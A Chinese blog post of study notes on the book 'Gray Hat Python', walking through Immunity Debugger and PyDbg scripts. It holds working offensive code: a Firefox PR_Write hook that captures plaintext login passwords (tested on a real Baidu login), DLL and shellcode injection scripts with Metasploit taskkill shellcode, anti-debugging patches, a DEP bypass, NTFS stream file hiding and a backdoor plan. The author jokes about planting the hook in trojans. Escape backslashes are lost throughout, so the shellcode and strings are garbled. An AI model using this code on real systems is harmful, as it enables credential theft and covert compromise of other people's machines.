	while count <= shellcode_length:
		if debug_shellcode[count].lower() != shellcode[count].lower():
			imm.log("Bad Char Detected at offset %d" % count)
			bad_char_found = True
			break
		count += 1

	if bad_char_found:
		imm.log("[*****] ")
		imm.log("Bad character found:%s" % debug_shellcode[count])
		imm.log("Bad character original:%s" % shellcode[count])
		imm.log("[*****] ")
	return "[*] !badchar finished,check Log window"

运行结果如下:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第66张

看来我们要把我们的shellcode的大写字母改为小写,或者改写代码如下

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第67张

再看看结果:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第68张

其实就是快速地比较内存中的shellcode跟我输入的有什么不同,

大家有没看到,他比较到第54,应该是第55个,就是  FCC076的第二个C,

因为重开机后我的MessageBox的地址变了,所以我把key.txt的字节改了下,而没有改原来的代码所以就出现这种情况,其实也可以看到不用人工一个个去查看到底是哪里不同了。

3.绕过windows的DEP

简单来说DEP就是让你不能在栈或堆上执行代码,就是没有那个执行权限

这能阻止非常多的漏洞利用代码运行,因为大多的 exploit 都会把shellcode 放在堆栈上。然而有一个技巧能巧妙的绕过 DEP,利用微软未公布的 API 函数NtSetInformationProcess()。 它能够阻止进程的 DEP 保护, 将程序的执行权限转移到 shellcode。Immunity 调试器提供了一个 PyCommand 命令findantidep.py 能够很容易找到 DEP 的地址。

这个函数如下

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第69张

为了使进程的 DEP 保护失效,需要将 NtSetInformationProcess()的ProcessInformationClass 函数设置成 ProcessExecuteFlags (0x22),将 ProcessInformation 参数设置 MEM_EXECUTE_OPTION_ENABLE (0x2)。 问题是在 shellcode 中调用这个函数将会出现 NULL 字符。解决的方法是找到一个正常调用了 NtSetInformationProcess()的函数,再将我们的 shellcode 拷贝到这个函数里。已经有一个已知的点就在 ntdll.dll 里。

我找了一下,只找到了调用这个函数的地方

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第70张

作者给的是这样的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第71张

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第72张

findantidep.py已经在PyCommands的文件夹里面的了

直接载入我自己写的缓冲区溢出程序,开始执行

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第73张

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第74张

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第75张

一共三个地址,下面是运行结果

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第76张

看看输出结果,确实非常方便,可以反DEP,0基础反DEP啊

我尝试看看代码

查找第一个地址是 查找 MOV AL,1 RET,即使AL置1,跟着返回,

第二个地址是查找 CMP AL,0x1 PUSH 0x2 POP ESI ,就是那个函数的首地址的特征代码嘛

感觉还是有点怪怪的,暂时不是很懂,为啥0x54写死了呢

而且我发现插件搜出来的压根不是代码中要搜索的又是什么鬼

4.搞定反调试机制

1.IsDebuggerPresent

这是最常用额反调试函数了,病毒就更加不用说了

写了个小程序

/**
 * 
 * @authors giantbranch (giantbranch@gmail.com)
 * @date    2016-08-19 16:03:39
 */
#include <windows.h>

extern "C" BOOL WINAPI IsDebuggerPresent(void);

int main(){
	if (IsDebuggerPresent())
	{
		MessageBox(NULL, "正在调试。。", "标题", NULL);
	}else{
		MessageBox(NULL, "没有调试哦", "标题", NULL);
	}
	return 0;
}


可以用vc6.0或者vs运行和调试运行看看结果

那我们载入od看看,找到调用那个函数的地方,f7跟进

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第77张

每一行都有注释了,TIB应改为TEB才对,当时搞错的,现在才发现

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第78张

fs 0偏移就是结构化异常处理SEH那个相关的了,具体我还要去复习一下

发现维基就有啊https://en.wikipedia.org/wiki/Win32_Thread_Information_Block

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第79张

PEB就微软的文档就有了

https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;

TEB也贴上

http://shitwefoundout.com/wiki/Win32_Thread_Environment_Block

struct _TEB {                                                     //  x86  /  x64
  struct _NT_TIB                    NtTib;                        // 0x000 / 0x000
  void                             *EnvironmentPointer;           // 0x01c / 0x038
  struct _CLIENT_ID                 ClientId;                     // 0x020 / 0x040
  void                             *ActiveRpcHandle;              // 0x028 / 0x050
  void                             *ThreadLocalStoragePointer;    // 0x02c / 0x058
  struct _PEB                      *ProcessEnvironmentBlock;      // 0x030 / 0x060
  uint32_t                          LastErrorValue;               // 0x034 / 0x068
  uint32_t                          CountOfOwnedCriticalSections; // 0x038 / 0x06c
  void                             *CsrClientThread;              // 0x03c / 0x070
  void                             *Win32ThreadInfo;              // 0x040 / 0x078
  uint32_t                          User32Reserved[26];           // 0x044 / 0x080
  uint32_t                          UserReserved[5];              // 0x0ac / 0x0e8
  void                             *WOW32Reserved;                // 0x0c0 / 0x100?
  uint32_t                          CurrentLocale;                // 0x0c4
  uint32_t                          FpSoftwareStatusRegister;     // 0x0c8
  void                             *SystemReserved1[54];          // 0x0cc
  uint32_t                          ExceptionCode;                // 0x1a4
  struct _ACTIVATION_CONTEXT_STACK  ActivationContextStack;       // 0x1a8
  uint8_t                           SpareBytes1[24];              // 0x1bc
  //struct _GDI_TEB_BATCH           GdiTebBatch;                  // 0x1d4
} __PACKED;

那么我们把PEB偏移2处置为0 即可,如下图的手动也是可以的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第80张

当然还可以直接调用immlib的函数啦,这里的函数是更新了的,A应该大小,下图的第一个截图是还没运行作者的命令,运行后发现出错,下意识地改成大写A,可以了

输入前:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第81张

输入后

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第82张

2.解决进程枚举

病毒一般都会枚举进程,找到目标就感染,或者找调试器,有就退出

既然是枚举进程,我用上年暑假时候的跟着C++黑客编程这本书写的一个进程管理器来实验一下吧,作为黑客还是打下码

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第83张

要 搞的主要代码如下:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第84张

接下来就是让它一个进程都获取不到吧,脚本上场

# -*- coding: utf-8 -*-
# @Date    : 2016-08-19 21:26:28
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

import immlib

def main(args):
	imm = immlib.Debugger()
	process32first = imm.getAddress("kernel32.Process32FirstW")
	process32next = imm.getAddress("kernel32.Process32NextW")
	function_list = [process32first, process32next]
	imm.log("process32first:0x%08x" % process32first)
	imm.log("process32next:0x%08x" % process32next)
	patch_bytes = imm.assemble("SUB EAX,EAX
RET")
	for address in function_list:
		opcode = imm.disasmForward(address, nlines = 10)
		re = imm.writeMemory(opcode.address, patch_bytes)
		if re:
			imm.log("success")
		else:
			imm.log("fail")
	return "finished kill the enumerate process"


f9一运行,呵呵了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第85张

这次我能不能解决呢,上上上,ida看我的showprocess代码在哪,跟着下断,f9运行

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第86张

其实发现immlib获取的地址跟实际process32first的首地址还是有点差别,可能是代码中有个W的后缀吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第87张

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第88张

虽然最终还是会运行到immlib 获取的那个地址那里,应该是我的电脑默认是用宽字符吧,毕竟大中文啊

跟着继续单步,咦怎么运行到栈上的地址来了,当然要会出错啦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第89张

再看看代码,由于作者说防止一些高级病毒检测函数头部是否被修改过,于是在第10行写入代码,可以看到前面有四个push,加入我们修改的代码后一旦ret的话,直接就返回到最后一个push,也就是edi的值出,我们可以看到确实就是栈上的地址,终于 明白了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第90张

马上把代码改成第一行就行了,或者搞多几个对应的pop在sub eax,eax的前面,其实nlines改成1是从第二行开始改,即push ebp

opcode = imm.disasmForward(address, nlines = 1)

KOKOKOKO~~!!!!!!!!!!!

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第91张

当然下面这个在前面写上对应的pop也可以

patch_bytes = imm.assemble("SUB EAX,EAX
RET")

还有的话更直接也可以,病毒不高级的话

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第92张

我怀疑作者到底有没有实验过的啊,只是吐槽一下,我是菜逼,哎半页纸写了这么长,我都佩服我自己了,加油

继续下一章奋斗

第六章 HOOKING

Hooking是一种强大的进程监控技术,通过改变进程的流程,以监视进程中数据的访问和改变

1.用PyDbg实现Soft Hooking

据说这次可以获取https的数据哦,wireshark我们抓到的https都是加密的数据,那么我们怎么获取到呢,肯定有个过程是明文的啊

我们这次实验目标firefox浏览器,我使用的应该是最新版吧(版本 firefox 48.0),测试网站:https://www.openrce.org/articles/

其实f12就可以抓到的,为何还要这样子搞呢,一切都是为了学习奋斗

看书本的样子是PR_Write函数之前是还没加密的,之后就加密了,如果我们搞个病毒木马在别人的机器上hook一下,那么安静,开玩笑啦大笑

打开firefox,attach上去,准备下断点,又有困难了,什么没有这个模块?

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第97张

跟着在可执行模块那里找了一圈确实没有, 咦我怎么不相信计算机的查找了,他都说找不到了,我还查难过

但是在上网搜索这个模块的函数的时候

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第99张

有个nss3出现了,再看看模块那里有没有,果真有,那就尝试啊,怕什么,大不了死机

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第100张

下断点,没报错

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第101张

这个要点运行好几次,firefox才能动起来啊

在页面输入账号密码都是test,准备好收明文HTTP报文了,哈哈

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第102张

果然在点击运行几次有发现栈上有个POST的明文出现,幸好我手快,不然就点过去了,    开心~~~~~~~

数据窗口跟随,哈哈,都暴露了,不过作者直接出的是post的字段,不过我这个更详细啦~~~~~~~~~~~

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第103张

手工来了一遍,我们尝试作者的程序干一遍吧

代码:

# -*- coding: utf-8 -*-
# @Date    : 2016-08-20 17:02:22
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

from pydbg import *
from pydbg.defines import *
import utils
import sys
dbg = pydbg()
found_firefox = False

pattern = "password"

def ssl_sniff(dbg, args):
	buffer = ""
	offset = 0
	while 1:
		byte = dbg.read_process_memory(args[1]+offset, 1)
		if byte != 'x00':
			buffer += byte
			offset += 1
			continue
		else:
			break
	if pattern in buffer:
		print "Pre-Encrypted:%s" % buffer
	return DBG_CONTINUE

for (pid, name) in dbg.enumerate_processes():
	if name.lower() == "firefox.exe":
		found_firefox = True
		hooks = utils.hook_container()
		dbg.attach(pid)
		print "[*] Attaching to firefox.exe with PID:%d" % pid
		hook_address = dbg.func_resolve_debuggee("nss3.dll", "PR_Write")
		if hook_address:
			hooks.add(dbg, hook_address, 2, ssl_sniff, None)
			print "[*] nss3.PR_Write hooked at:0x%08x" % hook_address
			break
		else:
			print "[*] Error:Couldn't resolve hook address."
			sys.exit(-1)

if found_firefox:
	print "[*] Hooks set,continuing process."
	dbg.run()
else:
	print "[*] Error:Couldn't find the firefox.exe process."
	sys.exit(-1)

不知道哪个网站为何又上不了,算了直接上经常上的百度登陆一波

打开firefox后,打开百度,输入好账号密码,先不要点登陆

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第104张

运行我们的python脚本没有报错后就可以登录啦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第105张

这个应用于病毒木马应该还有点用

但是主要是soft hook是怎么实现的

我的理解如下:

就是你告诉我在那个地方hook,我就在那里写入int3中的,因为触发了int3中的,那么控制就交给调试器了,所以我们就在这时读取内存的数据什么的,读完再恢复程序

2.Hard Hooking

基本原理:修改目标函数中某条指令为跳转指令跳到我们设定好的代码,搞定后再跳回去,这样程序就没有像软件断点那样暂停下来了。

代码:

# -*- coding: utf-8 -*-
# @Date    : 2016-08-21 09:12:35
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents


import immlib
import immutils


def getRet(imm, allocaddr, max_opcodes = 300):
<span style="white-space:pre">	</span>addr = allocaddr
<span style="white-space:pre">	</span>for a in range(0, max_opcodes):
<span style="white-space:pre">		</span># 这个函数应该是以这个地址开始解析一条指令,默认行数是1
<span style="white-space:pre">		</span># 返回汇编指令
<span style="white-space:pre">		</span>op = imm.disasmForward(addr)
<span style="white-space:pre">		</span># 判断是否为ret指令
<span style="white-space:pre">		</span>if op.isRet():
<span style="white-space:pre">			</span>imm.log("op.getImmConst:%02x" % op.getImmConst())
<span style="white-space:pre">			</span>if op.getImmConst() == 0xC:
<span style="white-space:pre">				</span># 以当前地址向前反汇编3条指令
<span style="white-space:pre">				</span>op = imm.disasmBackward(addr, 3)
<span style="white-space:pre">				</span>return op.getAddress()
<span style="white-space:pre">		</span>addr = op.getAddress()
<span style="white-space:pre">	</span>return 0x0


def showresult(imm , a, rtlallocate, extra = ""):
<span style="white-space:pre">	</span>if a[0] == rtlallocate:
<span style="white-space:pre">		</span>imm.log("RtlAllocateHeap(0x%08x,0x%08x,0x%08x) <- 0x%08x %s" % (a[1][0], a[1][1], a[1][2], a[1][3], extra), address = a[1][3])
<span style="white-space:pre">		</span>return "done"
<span style="white-space:pre">	</span>else:
<span style="white-space:pre">		</span>imm.log("RtlFreeHeap(0x%08x,0x%08x,0x%08x) %s" % (a[1][0], a[1][1], a[1][2], extra))


def main(args):
<span style="white-space:pre">	</span>imm = immlib.Debugger()
<span style="white-space:pre">	</span>Name = "hippie"
<span style="white-space:pre">	</span># Gets python object from the knowledge database.
<span style="white-space:pre">	</span># 下面会用addKnowledge储存到knowledge database
<span style="white-space:pre">	</span>fast = imm.getKnowledge(Name)
<span style="white-space:pre">	</span>if fast:
<span style="white-space:pre">		</span># 我们之前已经设置hooks了,所以我们打印结果
<span style="white-space:pre">		</span>hook_list = fast.getAllLog()
<span style="white-space:pre">		</span>rtlallocate,rtlfree = imm.getKnowledge("FuncNames")
<span style="white-space:pre">		</span>for a in hook_list:
<span style="white-space:pre">			</span>ret = showresult(imm, a, rtlallocate)
<span style="white-space:pre">		</span>return "Logged: %d hook hits." % len(hook_list)
<span style="white-space:pre">	</span># 暂停进程
<span style="white-space:pre">	</span>imm.pause()
<span style="white-space:pre">	</span>rtlfree = imm.getAddress("ntdll.RtlFreeHeap")
<span style="white-space:pre">	</span>rtlallocate  = imm.getAddress("ntdll.RtlAllocateHeap")
<span style="white-space:pre">	</span>imm.log("rtlallocate:0x%08x" % rtlallocate, address = rtlallocate)
<span style="white-space:pre">	</span>module = imm.getModule("ntdll.dll")
<span style="white-space:pre">	</span># 若还没分析这个模块,就去分析
<span style="white-space:pre">	</span>if not module.isAnalysed():
<span style="white-space:pre">		</span>imm.analyseCode(module.getCodebase())
<span style="white-space:pre">	</span># 我们寻找正确的函数退出点(返回点)
<span style="white-space:pre">	</span>rtlallocate = getRet(imm, rtlallocate, 1000)
<span style="white-space:pre">	</span>imm.log("RtlAllocateHeap hook:0x%08x" % rtlallocate, address = rtlallocate)
<span style="white-space:pre">	</span># 储存hook的地址
<span style="white-space:pre">	</span>imm.addKnowledge("FuncNames", (rtlallocate, rtlfree))
<span style="white-space:pre">	</span># 开始构建hook
<span style="white-space:pre">	</span>fast = immlib.STDCALLFastLogHook(imm)


<span style="white-space:pre">	</span>imm.log("Logging on Alloc 0x%08x" % rtlallocate, address = rtlallocate)
<span style="white-space:pre">	</span># 我们要hook的是rtlallocate函数中的某个地址(这个地址会被跳转指令覆盖)
<span style="white-space:pre">	</span>fast.logFunction(rtlallocate)
<span style="white-space:pre">	</span># 根据EBP的偏移获取数据,其实是获取函数的各个参数的值
<span style="white-space:pre">	</span>fast.logBaseDisplacement("EBP", 8)
<span style="white-space:pre">	</span>fast.logBaseDisplacement("EBP", 0xC)
<span style="white-space:pre">	</span>fast.logBaseDisplacement("EBP", 0x10)
<span style="white-space:pre">	</span># 跟踪eax寄存器
<span style="white-space:pre">	</span>fast.logRegister("EAX")


<span style="white-space:pre">	</span>imm.log("Logging on RtlFreeHeap 0x%08x" % rtlfree, address = rtlfree)
<span style="white-space:pre">	</span># 在rtlfree的头部hook,就要在第二个参数设定要获取该函数参数的数量
<span style="white-space:pre">	</span>fast.logFunction(rtlfree, 3)
<span style="white-space:pre">	</span># 设置钩子 
<span style="white-space:pre">	</span>fast.Hook()
<span style="white-space:pre">	</span># 储存钩子对象
<span style="white-space:pre">	</span>imm.addKnowledge(Name, fast, force_add = 1)
<span style="white-space:pre">	</span>return "Hooks setm press F9 to continue the process."

载入一个exe程序性,执行我们的脚本
Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第106张

可以看到hook  RtlFreeHeap的地址

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第107张

跟过去发现跟作者的不一样

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第108张

但是结果肯定是能出来的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第109张

这里的钩子的作用应该是对那两个堆操作函数hook,储存传给他们的参数

第七章 DLL和代码注入

1.创建远线程

都是要用的下面这个函数咯

HANDLE CreateRemoteThread(
  HANDLE hProcess,                          // handle to process
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
  DWORD dwStackSize,                        // initial stack size
  LPTHREAD_START_ROUTINE lpStartAddress,    // thread function
  LPVOID lpParameter,                       // thread argument
  DWORD dwCreationFlags,                    // creation option
  LPDWORD lpThreadId                        // thread identifier
);

1.DLL注入

dll注入首先搞个dll吧,搞个最简单的吧

下面这个就是在注入的时候和从进程撤回的时候会弹框的dll源代码,在我github的源码中直接出编译后的FirstDll.dll

// FirstDll.cpp : Defines the entry point for the DLL application.
//

#include "StdAfx.h"

extern "C" __declspec(dllexport) VOID MsgBox(char *szMsg);

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	switch(ul_reason_for_call) {
		case DLL_PROCESS_ATTACH: 
			   {
					MsgBox("DLL_PROCESS_ATTACH");
					break;
			   }
		case DLL_PROCESS_DETACH: 
			   {
					MsgBox("DLL_PROCESS_DETACH");
					break;
			   }
		case DLL_THREAD_ATTACH: 
			   {
					MsgBox("DLL_THREAD_ATTACH");
					break;
			   }
		case DLL_THREAD_DETACH: 
			   {
					MsgBox("DLL_THREAD_DETACH");
					break;
			   }
	}

    return TRUE;
}

VOID MsgBox(char *szMsg)
{
	char szModuleName[MAX_PATH] = {0};
	GetModuleFileName(NULL, szModuleName, MAX_PATH);
	MessageBox(NULL, szMsg, szModuleName, MB_OK);
}


python注入代码

# -*- coding: utf-8 -*-
# @Date    : 2016-08-21 15:24:02
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

import sys
from ctypes import *
# 初始化,获取传入参数的操作
PAGE_READWRITE = 0x4
PROCESS_ALL_ACCESS = (0x000F0000|0x00100000|0xFFF)
VIRTUAK_MEM = (0x1000|0x2000)
kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv[2]
dll_len = len(dll_path)

# 获得目标进程的句柄
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
if not h_process:
	print "[*] Couldn't acquire a handle to PID:%s" % pid

# 分配内存给dll_path那个字符串
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAK_MEM, PAGE_READWRITE)
# 将dll_path写入已分配的内存
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))
# 我们要获取LoadLibraryA的地址
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
# 开始利用创建远程线程进行注入
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)):
	print "[*] Failed to inject the DLL. Exiting."
	sys.exit(0)
print "[*] Remote thread with ID 0x%08x created." % thread_id.value


运行结果:

可以看到成功注入了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第110张

2.代码注入

# -*- coding: utf-8 -*-
# @Date    : 2016-08-22 09:01:26
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

import sys
from ctypes import *

PAGE_EXECUTE_READWRITE         = 0x00000040
PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM        =     ( 0x1000 | 0x2000 )

kernel32      = windll.kernel32
pid           = int(sys.argv[1])
pid_to_kill   = sys.argv[2]

if not sys.argv[1] or not sys.argv[2]:
	print "[*] Code Injector: ./code_injector.py <PID to inject> <PID to Kill>"
	sys.exit(0)

#/* win32_exec -  EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA 
#Size=159 Encoder=None http://metasploit.com */
shellcode = 
"xfcxe8x44x00x00x00x8bx45x3cx8bx7cx05x78x01xefx8b" 
"x4fx18x8bx5fx20x01xebx49x8bx34x8bx01xeex31xc0x99" 
"xacx84xc0x74x07xc1xcax0dx01xc2xebxf4x3bx54x24x04" 
"x75xe5x8bx5fx24x01xebx66x8bx0cx4bx8bx5fx1cx01xeb" 
"x8bx1cx8bx01xebx89x5cx24x04xc3x31xc0x64x8bx40x30" 
"x85xc0x78x0cx8bx40x0cx8bx70x1cxadx8bx68x08xebx09" 
"x8bx80xb0x00x00x00x8bx68x3cx5fx31xf6x60x56x89xf8" 
"x83xc0x7bx50x68xefxcexe0x60x68x98xfex8ax0ex57xff" 
"xe7x63x6dx64x2ex65x78x65x20x2fx63x20x74x61x73x6b" 
"x6bx69x6cx6cx20x2fx50x49x44x20x41x41x41x41x00"

padding = 4 - len(pid_to_kill)
replace_value = pid_to_kill + ("x00" * padding)
replace_string = "x41" * 4
shellcode = shellcode.replace(replace_string, replace_value)
code_size = len(shellcode)

# 获取要注入进程的句柄
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
if not h_process:
	print "[*] Couldn't acquire a handle to PID: %s" % pid
	sys.exit(0) 

# 为shellcode申请内存
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
written = c_int(0)
# 将shellcode写到刚分配好的内存里面
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0, byref(thread_id)):
	print "[*] Failed to inject process-killing shellcode. Exiting."
	sys.exit(0)
print "[*] Remote thread created with a thread ID of:0x%08x" % thread_id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill
	


可能是shellcode有点问题,注入后想要结束别人,结果自己挂了再见

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第112张

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第113张

2.邪恶的代码

接下来学习的是,创建一个后门程序,命名为calc.exe,执行后,执行后门代码的同时执行原先的calc.exe

1.文件隐藏

利用ntfs ADS进行隐藏

# -*- coding: utf-8 -*-
# @Date    : 2016-08-22 11:57:40
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

import sys
fd = open(sys.argv[1], "rb")
dll_contents = fd.read()
fd.close()
print "[*] Filesize:%d" % len(dll_contents)
fd = open("%s:%s" % (sys.argv[2], sys.argv[1]), "wb") 
fd.write(dll_contents)
fd.close()


Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第114张

没报错就是成功了,那怎么查看呢,可以用记事本打开,那应该也可以用其他什么十六进制编辑工具打开了,那么就可以还原文件了,直接还原不知道怎么搞,用了copy,echo,type好像都不行

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第115张

2.编写后门

20160912:隔了差不多有一个月没动了吧,太多事做了,

1.由于作者的shellcode有点问题,还是以学习为主,先把这放一放,后面再来搞,看看能不能搞,不能就算了,搞完后或许都不来看自己的这篇文章了

大概理解一下这程序,这里的代码就不贴出来了,因为都不能运行的

首先创建一个进程(就启动计算器这个程序,并记录下它的pid), 跟着写了一个注入的函数,前面出现过了的,这里将两个合二为一了,

最后就是定义一些shellcode,接下来就是注入,注入反向连接,就是后面了

1.py2exe

这个就是将python转化为exe程序的库,还可以,兼容性好

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第116张

图像解密就windows,不是就console,后面的参数就是将那些库也打包进来

跟着python setup.py py2exe,就等着exe出现吧,在dist目录

第八章 FUZZING

fuzzing一开始听上去很高大上,其实就是爆破嘛,

1.Bug的分类

1.缓冲区溢出

栈溢出一般都很熟悉了,前面也有搞过:http://blog.csdn.net/u012763794/article/details/52174275#t40

堆一般是malloc申请的,  还听说过堆喷射,就是申请了很大内存,前面的都是nop,最后一部分才是shellcode,这样shellcode的命中率就很高了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第117张

2.Integer Overflows

上溢时,进位被舍弃掉了

下溢时,借位不够借。

本来malloc很大的内存,结果加了个数,造成上溢,是malloc了很小,如果我们往刚申请的区域写入大量数据,那么就可能造成溢出了,这里应该是堆溢出吧

3.Format StringAttacks

格式化字符串攻击:攻击者通过设计好的字符串传入特定字符串格式化函数,使其产生溢出,如C语言的printf函数

2.File Fuzzing

这个搞了快一天的时间了,终于理解了

简单说明一下:

每一次的fuzzing,首先从一个目录中读取我们要fuzzing的文件,比如说我们要fuzzing的是txt

那么我们用notepad运行它,就下面这样输入

python file_fuzzer.py -e C:\Windows\System32\notepad.exe -x .txt

程序将fuzzing的文件复制一份,为test文件,跟着我们利用变形函数对其变形(就是在文件中插入一些特殊字符)

跟着启动调试器调试notepad打开那个变形的文件,如果有访问违例就调用check_accessv函数,监视进程就监视被调试的进程,等待3秒后(这时间是确保及时有违例也处理完了),就结束被调试进程,准备下一次的fuzzing

# -*- coding: utf-8 -*-
# @Date    : 2016-09-15 11:33:17
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents

from pydbg import *
from pydbg.defines import *
import utils
import random
import sys
import struct
import threading
import os
import shutil
import time
import getopt

class file_fuzzer:
	# 构造方法
	def __init__(self, exe_path, ext, notify):
		# 初始化一些变量,用于跟踪记录文件的基础信息
		self.exe_path = exe_path
		self.ext = ext
		self.notify_crash = notify
		self.orig_file = None
		self.mutated_file = None
		self.iteration = 0
		self.crash = None
		self.send_notify = False
		self.pid = None
		self.in_accessv_handler = False
		self.dbg = None
		self.running = False
		self.ready = False
		# Optional 可选的,设置一下邮件的参数
		self.smtpserver = ''
		self.recipents = ['admin@xx.com',]
		self.sender = ''
		self.test_cases = ["%s%n%s%n%s%n", "xff", "x00", "A"]

	# 列出某个目录,跟着随机选取一个进行变形,并将其复制为test文件
	def file_picker(self):
		file_list = os.listdir("examples/")
		list_length = len(file_list) 
		file = file_list[random.randint(0, list_length-1)]
		shutil.copy("examples\%s" % file, "test.%s" % self.ext)
		return file

	def fuzz(self):
		while 1:
			# 第一步,确保只有一个调试进程在运行或者访问违例的处理程序没有在搜集崩溃信息(因为搜集完的话他会将running设置为false)
			if not self.running:
				# 调用选取函数并保存该文件
				self.test_file = self.file_picker()
				# 传入变形函数
				self.mutate_file()

				# 文件变形完成,就开启调试线程
				pydbg_thread = threading.Thread(target=self.start_debugger)
				# setDaemon设置是否为守护进程,这是是false
				# 在linux或者unix操作系统中,守护进程(Daemon)是一种运行在后台的特殊进程,它独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件。
				pydbg_thread.setDaemon(0)
				pydbg_thread.start()

				# 当程序创建成功,得到了新的pid
				while self.pid == None:
					time.sleep(1)

				# 开始监视线程
				monitor_thread = threading.Thread(target=self.monitor_debugger)
				monitor_thread.setDaemon(0)
				monitor_thread.start()

				# 统计变量
				self.iteration += 1
			
			#等待一次fuzz完成 
			else:
				time.sleep(1)

	# 开启调试器
	def start_debugger(self):
		print "[*] Starting debugger for iteration: %d" % self.iteration
		self.running = True
		self.dbg = pydbg()
		self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,self.check_accessv)
		pid = self.dbg.load(self.exe_path, "test.%s" % self.ext)
		self.pid = self.dbg.pid
		self.dbg.run()

	def check_accessv(self, dbg):
		if dbg.dbg.u.Exception.dwFirstChance:
